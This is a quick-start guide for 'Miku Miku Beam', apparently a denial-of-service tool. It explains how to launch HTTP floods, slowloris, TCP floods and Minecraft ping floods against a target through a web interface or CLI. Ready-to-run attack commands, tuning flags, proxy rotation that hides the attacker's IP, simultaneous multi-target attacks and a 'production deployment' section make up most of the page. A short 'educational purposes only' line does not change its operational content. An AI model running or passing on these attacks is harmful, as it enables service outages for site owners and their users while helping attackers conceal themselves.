Skip to main content
This project is for educational purposes only. Always ensure you have permission to test the target system.

​
Choose your interface

Miku Miku Beam offers two ways to run attacks:

Web interface

Visual monitoring with real-time stats and Miku theme

CLI interface

Fast command-line execution with colored output

​
Web interface quick start

1

Start the server

Launch the web server:
make run-server
# or directly:
./bin/mmb-server
The server starts on http://localhost:3000 by default.
2

Open the web interface

Navigate to the web interface in your browser:
http://localhost:3000
You’ll see the Miku-themed interface with attack configuration options.
3

Configure your attack

Set up the attack parameters:
  • Target URL: http://example.com (or your test target)
  • Attack Method: Choose from:
    • http_flood - Random HTTP requests
    • http_bypass - Browser-mimicking requests
    • http_slowloris - Slow connection attacks
    • tcp_flood - TCP packet flooding
    • minecraft_ping - Minecraft server pings
  • Packet Size: 512 bytes (default)
  • Duration: 60 seconds
  • Packet Delay: 500 ms between packets
  • Threads: 4 concurrent threads (0 = auto-detect CPU cores)
4

Manage proxies and user agents

Click the text button to the right of the beam button to open the editor.Add your proxies and user agents directly in the web interface:Proxies (one per line):
http://proxy1.example.com:8080
socks5://user:[email protected]:1080
User Agents (one per line):
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
5

Start the attack

Click the “Start Attack” button to begin. You’ll see:
  • Real-time packets per second (PPS)
  • Total packets sent
  • Attack progress
  • Success/failure statistics
Click “Stop Attack” to terminate early.

​
Multiple clients

The web server supports multiple clients running different attacks simultaneously. Each browser tab/window maintains its own isolated attack instance.
To run multiple attacks:
  1. Open additional browser tabs to http://localhost:3000
  2. Configure different targets or attack methods
  3. Each client operates independently

​
CLI interface quick start

1

Basic attack syntax

The CLI follows this pattern:
./bin/mmb-cli attack [method] [target] [flags]
Available methods:
  • http_flood
  • http_bypass
  • http_slowloris
  • tcp_flood
  • minecraft_ping
2

Run a simple attack

Execute an HTTP flood attack:
./bin/mmb-cli attack http_flood http://example.com
You’ll see colored real-time output:
Starting http_flood against http://example.com with 10 proxies
15:04:05 PPS:245 Total:245 Proxies:10
15:04:06 PPS:312 Total:557 Proxies:10
15:04:07 PPS:298 Total:855 Proxies:10
3

Customize attack parameters

Use flags to customize the attack:
./bin/mmb-cli attack http_bypass http://example.com \
  --duration 120 \
  --delay 100 \
  --packet-size 1024 \
  --threads 8
FlagDefaultDescription
--duration60Attack duration in seconds
--delay500Delay between packets in milliseconds
--packet-size512Packet size in bytes
--threads0Number of threads (0 = CPU cores)
--verbosefalseShow detailed attack logs
--no-proxyfalseRun without proxies
4

Use verbose mode

Enable detailed logging to see individual attack attempts:
./bin/mmb-cli attack tcp_flood http://example.com --verbose
Verbose output includes:
  • Proxy addresses used
  • Target endpoints
  • Individual request details
5

Run without proxies

For testing or when proxies aren’t available:
./bin/mmb-cli attack http_flood http://example.com --no-proxy
Running without proxies exposes your real IP address to the target server.

​
Example attacks

# Basic HTTP flooding with default settings
./bin/mmb-cli attack http_flood http://example.com

​
Understanding the output

​
CLI output format

15:04:05 PPS:245 Total:245 Proxies:10
  • Timestamp (15:04:05) - Current time
  • PPS (245) - Packets per second (rate)
  • Total (245) - Total packets sent since start
  • Proxies (10) - Number of proxies in rotation

​
Web interface stats

The web UI displays:
  • Real-time graph - Visual representation of attack rate
  • Packets per second - Current sending rate
  • Total packets - Cumulative count
  • Success/failure ratio - Attack effectiveness
  • Active proxies - Number of proxies in use

​
Stopping attacks

# Press Ctrl+C to stop the attack gracefully
Ctrl + C
The engine will:
  1. Cancel the attack context
  2. Stop all worker goroutines
  3. Display final statistics
  4. Clean up resources

​
Production deployment

For production use, run the server binary directly: 
# Start in production mode
./bin/mmb-server
In production mode:
  • Frontend and backend run on the same port (:3000)
  • Static files are served from bin/web-client/
  • No separate development server needed
Ensure data/proxies.txt and data/uas.txt exist before starting the server.

​
Next steps

Attack methods

Learn about each attack type in detail

Configuration

Advanced configuration options and tuning

API reference

REST API and Socket.IO documentation

Docker deployment

Run Miku Miku Beam in containers

Build docs developers (and LLMs) love

Get started for freeTalk to us